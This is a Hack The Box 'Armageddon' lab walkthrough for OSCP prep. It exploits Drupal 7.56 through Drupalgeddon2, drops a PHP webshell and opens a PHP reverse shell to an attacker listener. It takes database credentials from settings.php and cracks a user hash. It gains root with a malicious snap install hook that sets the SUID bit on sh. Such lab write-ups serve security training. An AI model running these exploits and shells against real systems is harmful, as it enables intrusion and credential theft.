TJ_Null’s OSCP Prep – HTB – Armageddon

This Linux machine had drupal running on one of the ports. I used drupalgeddon2 to upload a webshell and be able to run commands. I upgraded my shell, but could not get PTY so I had to read from the database using the command line. I then got the credentials to brudetherealadmin and he was able to run snap install as sudo. I created a malicous fpm package that changed the permissions to sh to root and with SUID bit set so I could just run ./sh -p to get a root shell.


Enumeration

I’ll start with a NMAP scan.

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.233 -oN nmap.ver
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-30 13:58 EST
Nmap scan report for 10.10.10.233
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

Only two ports open, 22 and 80.

From the scan I can see that the webserver is running Apache httpd 2.4.6 and it looks like its running Drupal 7.

Visiting the website I get this.

Tried different login credentials but I got nowhere.

From the NMAP scan I can see that there is a subdirectory called /CHANGELOG.txt.

I can see that the latest version of Drupal is 7.56.

Initial Access – Shell as Apache

There were alot of RCE I could use. Searching in searchsploit I found this.

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]
└─# searchsploit drupal 7.56     
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                            |  Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                                                  | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                                                               | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                                       | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                                                   | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                                                          | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)                                     | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                                                                            | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                                                                        | php/webapps/46459.py

I’ll use Drupalgeddon 2 and for that I need ruby installed on my machine.

From NIST

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

https://nvd.nist.gov/vuln/detail/cve-2018-7600

So from the script, we can see the payload for Drupal 7.

  elsif $drupalverion.start_with?("7") and element == "name"
    # Method #3 - Drupal v7.x: name, #post_render - HTTP 200
    url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
    payload = "form_id=user_pass&_triggering_element_name=name"
  end

  # Drupal v7.x needs an extra value from a form
  if $drupalverion.start_with?("7")
    response = http_request(url, "post", payload, $session_cookie)

    form_name = "form_build_id"
    puts verbose("Form name  : #{form_name}") if $verbose

    form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
    puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
    puts verbose("Form value : #{form_value}") if $verbose

    url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
    payload = "#{form_name}=#{form_value}"
  end

Exploit

And when I run the script I get a shell as Apaceh.

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]
└─# ruby 44449.rb 10.10.10.233
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.233/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo ALFQTDMK
[+] Result : ALFQTDMK
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.233/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
armageddon.htb>> 

Using burp I can see that it placed a webshell in /shell.php. I could in theory used curl to get a better shell, but I’ll just use PHP in the shell I already got.

armageddon.htb>> php -r '$sock=fsockopen("10.10.14.18",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
[!] WARNING: Detected an known bad character (>)

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]
└─# nc -lvnp 4444                                
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.233] 41524
sh: no job control in this shell
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh-4.2$ 

Initial Access – Shell as brucetherealadmin

Enumeration

I could not ls in the /home dir.

sh-4.2$ ls
ls
ls: cannot open directory .: Permission denied
sh-4.2$ pwd
pwd
/home
sh-4.2$ 

But looking at passwd I can see that there is a user called brucetherealadmin.

sh-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

Database credentials

In /var/www/html/sites/default I found a php file called settings.php.

 * @endcode
 */
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

I tried to upgrade my shell to PTY it didnt work. It says that it is out of PTY devices.

python3 -c 'import pty;pty.spawn("/bin/bash")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib64/python3.6/pty.py", line 154, in spawn
    pid, master_fd = fork()
  File "/usr/lib64/python3.6/pty.py", line 96, in fork
    master_fd, slave_fd = openpty()
  File "/usr/lib64/python3.6/pty.py", line 29, in openpty
    master_fd, slave_name = _open_terminal()
  File "/usr/lib64/python3.6/pty.py", line 59, in _open_terminal
    raise OSError('out of pty devices')
OSError: out of pty devices

Read from database

I’ll read from the database using the commandline instead. I get a hash for the user brucetherealadmin which I’ll crack using john the ripper. I got the password for brucetherealadmin which is booboo.

sh-4.2$ mysql -e 'select * from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal 
<from users;' -u drupaluser -p'CQHEy@9M*m23gBVj' drupal                      
uid     name    pass    mail    theme   signature       signature_format        created access  login   status  timezone        language        picture init    data
0                                               NULL    0       0       0       0       NULL            0               NULL
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu                     filtered_html   1606998756      1607077194      1607076276  1Europe/London           0       admin@armageddon.eu     a:1:{s:7:"overlay";i:1;}
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]
└─# john --show hash                                                                                                                                                                     1 ⨯
?:booboo

1 password hash cracked, 0 left

SSH to user

┌──(root💀kali)-[/home/aghanim]
└─# ssh brucetherealadmin@10.10.10.233                                                                                                                                130 ⨯
Enter passphrase for key '/root/.ssh/id_rsa': 
brucetherealadmin@10.10.10.233's password: 
Last login: Fri Feb 18 10:27:49 2022 from 10.10.14.18
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ 

Root

I always like to see if the user can run any commands as sudo. In this instance, bruce could run snap install as sudo with the wildcard at the end. That means it could run any command after snap install.

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

From GTFObins

So what we do here is do a command and use FPM to create a malicious snap package.

From FPM doc.

The goal of fpm is to make it easy and quick to build packages such as rpms, debs, OSX packages, etc.

https://fpm.readthedocs.io/en/v1.13.1/

Privilege Escalation

I spent too much time on this one to get it work. So I ended up copying sh to bruces home dir and changed the permission to root with SUID bit. Then I could just run ./sh -p to retain permissions.

First I run the commands on my attacker machine to create the malicious snap package.

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/armageddon]
└─#
COMMAND="chown root:root /home/brucetherealadmin/sh; chmod 4755 /home/brucetherealadmin/sh"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta

Created package {:path=>"xxxx_1.0_all.snap"}

So what this command does is it gives root ownership of sh and set the permissions with SUID bit.

-rwsr-xr-x. 1 root              root              964536 Feb 18 10:45 sh

So if I now run the sh with -p I will become root.

[brucetherealadmin@armageddon ~]$ ./sh -p
sh-4.2# id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# 

You can see that my euid=0(root).

sh-4.2#  cd /root
sh-4.2# ls -l
total 20
-rw-------. 1 root root 1260 Dec  2  2020 anaconda-ks.cfg
-rwx------. 1 root root  142 Mar 11  2021 cleanup.sh
-rw-r--r--. 1 root root  974 Mar 11  2021 passwd
-rwx------. 1 root root   67 Mar 11  2021 reset.sh
-r--------. 1 root root   33 Feb 18 09:36 root.txt
drwxr-xr-x. 4 root root   35 Feb 18 10:49 snap
sh-4.2# 

What I’ve learned

  • Since this machine was using an old version of Drupal I was able to get a shell on the box.
  • PTY was disabled and I couldnt open mysql so I had to read from the database using commandline. From settings.php I got all the info I needed to read from the commandline.
  • Since bruce could run snap install * as sudo I was able to craft a malicious snap package and transfere it to the target machine and run. I could run basically any command.

Similar Posts